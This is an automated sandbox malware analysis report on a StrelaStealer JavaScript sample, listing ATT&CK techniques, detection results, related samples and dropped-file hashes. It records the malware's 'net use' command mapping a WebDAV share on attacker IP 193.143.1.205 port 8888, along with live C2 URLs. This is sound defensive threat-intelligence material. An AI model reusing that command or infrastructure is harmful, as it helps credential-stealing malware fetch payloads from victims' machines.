Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3107622714995924320.js	10%	Virustotal		Browse
3107622714995924320.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/y	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/4s	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/0s	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/spacez	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.23	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/y	net.exe, 00000007.00000002.1481328820.0000021649568000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2717557775.0000011874E00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
http://193.143.1.205:8888/0s	net.exe, 00000007.00000003.1478286317.000002164959E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1481416755.000002164959E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1480119437.0000011874D00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/4s	net.exe, 00000007.00000003.1478286317.000002164959E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1481416755.000002164959E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1478087221.00000216495BC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1478286317.000002164959E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1481416755.000002164959E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1481552395.00000216495BE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1481328820.0000021649568000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/spacez	net.exe, 00000007.00000002.1481328820.0000021649568000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588915
Start date and time:	2025-01-11 07:04:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3107622714995924320.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 23.209.209.135, 184.28.90.27, 84.201.210.23, 2.16.168.105, 2.16.168.107, 34.237.241.83, 172.202.163.200, 104.77.220.172
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:05:31	API Interceptor	23x Sleep call for process: powershell.exe modified
01:05:35	API Interceptor	1x Sleep call for process: net.exe modified
01:05:35	API Interceptor	2x Sleep call for process: svchost.exe modified
01:05:43	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17763111531162825565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9839206391373229960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	173992455338126060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	W1POMvaEjU.exe	Get hash	malicious	FormBook	Browse	217.20.57.18
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	959032706323392160.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17763111531162825565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9839206391373229960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	173992455338126060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021871093735453
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAT:RJE+Lfki1GjHwU/+vVhWqpu
MD5:	83774D78412D7167A350EC57F7226F27
SHA1:	F644FF5A58272CF63E815135CB9B559614988C34
SHA-256:	B983B6CDE0995FD90328527D6E7679DFFB713DEB65DBB450E77AD4F02329F62C
SHA-512:	BC0118E8068DBE111D31D8EA0AFA77055EFE16D949C738BE82FF4C5950B36804FF91A3C6EDBC5F3819ADA3987F8BD6525A6EBE5814E8AE47DB9443AE28174092
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xda49565c, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432602564067329
Encrypted:	false
SSDEEP:	1536:LSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:LazaHvxXy2V2UR
MD5:	F21368C0B46EE7ED773A043298C045B8
SHA1:	E98F16F3747075E204C8F4FCEAE9577A83CB9BA0
SHA-256:	9C73EDF4778A3D55732B2E7593D18065E9FC3AD804ECD6473CD8B39C61229266
SHA-512:	3E388A64BEE03F56C53DD7348E4F4EB730CFF77868088C6419A70DD388458FEE6A7718151A4D8ECD5F5F5B22612EF7B3BAFD2EAF85B633E8B59CF9EBD8292A62
Malicious:	false
Preview:	.IV\... ...............X\...;...{......................0.x...... ...{s.$....}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................-.%$....};.................[...$....}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07974333059704514
Encrypted:	false
SSDEEP:	3:K5/KYe2mel/nqlFcl1ZUllllAcgjukY4llallGBnX/l/Tj/k7/t:uKzSl/qlFclQ/lmRjrllA254
MD5:	4D2FEF5CB067A4D4DA73CA6225D14763
SHA1:	B5297CBF512F94AB7BC5C591E05F37B3A2CB9C0C
SHA-256:	DB2E2EE30641C7677D2278E785755E11E15E9D9F5BFCDBA83C970C7E32E2245D
SHA-512:	3CD4314C9505F9A77DB0BC369A2856D99E25643BDB17F2E00C25FE75E724E0629F314131357B16B7AE50CE146747FB1FD1C9912E9260A090346EA56CB9D4671D
Malicious:	false
Preview:	..}.....................................;...{..$....}... ...{s.......... ...{s.. ...{s.P.... ...{s.................[...$....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.159888156856536
Encrypted:	false
SSDEEP:	6:iOn9KoKFN+q2PCHhJ2nKuAl9OmbnIFUtF9KHZZmwr9KHNVkwOCHhJ2nKuAl9Omb5:7n3W+vBHAahFUtFYZ/rYNV56HAaSJ
MD5:	F160BE488FA883762A37F483FA054418
SHA1:	D98D382CF27065ABB34EA55D5C5B2EE5D7BBA94D
SHA-256:	5F9C147B85E33270A746B84CA98CA1B77BFED049B267E32A1317474B8F7A79CA
SHA-512:	C056735F6569B0E0389F7F5AAB2B3B9F0FF09593D878A54C4CAE727FCAA309BDB7BEBA0AD317D720DDAB7C976676A1012BF4F59030AACA438038B8B8500487A0
Malicious:	false
Preview:	2025/01/11-01:05:35.728 1f7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:05:35.731 1f7c Recovering log #3.2025/01/11-01:05:35.731 1f7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.159888156856536
Encrypted:	false
SSDEEP:	6:iOn9KoKFN+q2PCHhJ2nKuAl9OmbnIFUtF9KHZZmwr9KHNVkwOCHhJ2nKuAl9Omb5:7n3W+vBHAahFUtFYZ/rYNV56HAaSJ
MD5:	F160BE488FA883762A37F483FA054418
SHA1:	D98D382CF27065ABB34EA55D5C5B2EE5D7BBA94D
SHA-256:	5F9C147B85E33270A746B84CA98CA1B77BFED049B267E32A1317474B8F7A79CA
SHA-512:	C056735F6569B0E0389F7F5AAB2B3B9F0FF09593D878A54C4CAE727FCAA309BDB7BEBA0AD317D720DDAB7C976676A1012BF4F59030AACA438038B8B8500487A0
Malicious:	false
Preview:	2025/01/11-01:05:35.728 1f7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:05:35.731 1f7c Recovering log #3.2025/01/11-01:05:35.731 1f7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.163600844188223
Encrypted:	false
SSDEEP:	6:iOn9KlXOq2PCHhJ2nKuAl9Ombzo2jMGIFUtF9KrZmwr9KJVBkwOCHhJ2nKuAl9OU:7n2XOvBHAa8uFUtFc/rkn56HAa8RJ
MD5:	0F8BB83640E1851BA19A4D23F66EFF98
SHA1:	E40AC9E74C287435BB191D39A6906DE0BAF717FF
SHA-256:	3968792F50829A7D133D61380969694FAFA29BD55BBD921ECE84D7BF915806B0
SHA-512:	7C49CE336854DBB7AB0B488D78F5626B38194A0858940DB30F42210B47C73C734C00894BE505DEB850C32915D29A5E6B34242601BD5A9395A2E2B156C0ECFE1A
Malicious:	false
Preview:	2025/01/11-01:05:35.817 480 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:05:35.819 480 Recovering log #3.2025/01/11-01:05:35.820 480 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.163600844188223
Encrypted:	false
SSDEEP:	6:iOn9KlXOq2PCHhJ2nKuAl9Ombzo2jMGIFUtF9KrZmwr9KJVBkwOCHhJ2nKuAl9OU:7n2XOvBHAa8uFUtFc/rkn56HAa8RJ
MD5:	0F8BB83640E1851BA19A4D23F66EFF98
SHA1:	E40AC9E74C287435BB191D39A6906DE0BAF717FF
SHA-256:	3968792F50829A7D133D61380969694FAFA29BD55BBD921ECE84D7BF915806B0
SHA-512:	7C49CE336854DBB7AB0B488D78F5626B38194A0858940DB30F42210B47C73C734C00894BE505DEB850C32915D29A5E6B34242601BD5A9395A2E2B156C0ECFE1A
Malicious:	false
Preview:	2025/01/11-01:05:35.817 480 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:05:35.819 480 Recovering log #3.2025/01/11-01:05:35.820 480 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7450425c-876c-4d27-bc15-8173b25b8506.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9687828516377985
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqIphsBdOg2HFcaq3QYiub6P7E4TX:Y2sRdsPydMHk3QYhbS7n7
MD5:	31CD5BF5B7343FDD6A7C71903B921220
SHA1:	840A3106163B6DBC69BF3B169D6EC003EB0D133D
SHA-256:	82EB7E0CAA5646DA11105570B4EFDBCD98B8B40474859AE3BDCC9021BB890033
SHA-512:	F5C04AA056BE417098034278EC86A68970CE0D619C9BA4D294BF11EBEDD8DD6715A0D606D8C9DB3CA24CE3107DEC239BA8712C9E60854A1E606DFDBA178E8C52
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381135547523876","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":305098},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963247713778661
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4TX:Y2sRds9dMHX3QYhbS7n7
MD5:	D46529E824E6E834D0D750C5560C136C
SHA1:	E6597929E439E6AF24CE7249F0D303987F0760BF
SHA-256:	818753A5C6D3C843FBA032CCB1B1681F6226C17B388A1E3052774B1DD8809C72
SHA-512:	CE939B02393B7F46CE528527A40DCB56023CF6682B664D5685354CDA51388EE603FCAF018A428EFB08AD5800B68847F6F512B05F6D772E435507EE32BCEA0963
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF46df9d.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963247713778661
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4TX:Y2sRds9dMHX3QYhbS7n7
MD5:	D46529E824E6E834D0D750C5560C136C
SHA1:	E6597929E439E6AF24CE7249F0D303987F0760BF
SHA-256:	818753A5C6D3C843FBA032CCB1B1681F6226C17B388A1E3052774B1DD8809C72
SHA-512:	CE939B02393B7F46CE528527A40DCB56023CF6682B664D5685354CDA51388EE603FCAF018A428EFB08AD5800B68847F6F512B05F6D772E435507EE32BCEA0963
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e770d480-3d55-4f98-8bce-d7e7e6c114fe.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963247713778661
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4TX:Y2sRds9dMHX3QYhbS7n7
MD5:	D46529E824E6E834D0D750C5560C136C
SHA1:	E6597929E439E6AF24CE7249F0D303987F0760BF
SHA-256:	818753A5C6D3C843FBA032CCB1B1681F6226C17B388A1E3052774B1DD8809C72
SHA-512:	CE939B02393B7F46CE528527A40DCB56023CF6682B664D5685354CDA51388EE603FCAF018A428EFB08AD5800B68847F6F512B05F6D772E435507EE32BCEA0963
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.237510017033244
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+b5pJGk:S43C4mS7fFi0KFYDjr3LWO3V3aw+b5r7
MD5:	2210DD8C71DCB991D03FD16005FF291A
SHA1:	705A10897CEC5E3F4AAFC50A40A8FB8CABC3C135
SHA-256:	4291D4D8687D5B274CCD53BA10CEF35EFDFE3B54D5EB52AA9ACF01907314E58C
SHA-512:	6F9C61DA428AEACEDEDDF99BA75F5C4A2BE927E5C49118D27DE6E3F3349569AB8FF1DD26A1D4BADC392580F5E758F0B8BF9FCBF41468D816CE0B256879914B74
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.172091995628698
Encrypted:	false
SSDEEP:	6:iOn9KNq2PCHhJ2nKuAl9OmbzNMxIFUtF9K5Zmwr9KTkwOCHhJ2nKuAl9OmbzNMFd:7nmvBHAa8jFUtFO/ri56HAa84J
MD5:	8F1C1A22635FDBFDDCCB7B7159E22038
SHA1:	8057F0759CC659A9F2556D32A5CF354D2D508E5E
SHA-256:	F6FBFC70BA455CA2C47126AABD1202557E12CBE1E72110F385FF62C8B7A7C7ED
SHA-512:	B446EFDE096109654A74303BCA1D1120ABABE0393CCC044B1FC5C4E15615881B88C1F1ED6B86201F4D34FEA2893A33598D1887AA33AA635552FC42BD25E272FF
Malicious:	false
Preview:	2025/01/11-01:05:35.980 480 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:05:35.981 480 Recovering log #3.2025/01/11-01:05:35.981 480 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.172091995628698
Encrypted:	false
SSDEEP:	6:iOn9KNq2PCHhJ2nKuAl9OmbzNMxIFUtF9K5Zmwr9KTkwOCHhJ2nKuAl9OmbzNMFd:7nmvBHAa8jFUtFO/ri56HAa84J
MD5:	8F1C1A22635FDBFDDCCB7B7159E22038
SHA1:	8057F0759CC659A9F2556D32A5CF354D2D508E5E
SHA-256:	F6FBFC70BA455CA2C47126AABD1202557E12CBE1E72110F385FF62C8B7A7C7ED
SHA-512:	B446EFDE096109654A74303BCA1D1120ABABE0393CCC044B1FC5C4E15615881B88C1F1ED6B86201F4D34FEA2893A33598D1887AA33AA635552FC42BD25E272FF
Malicious:	false
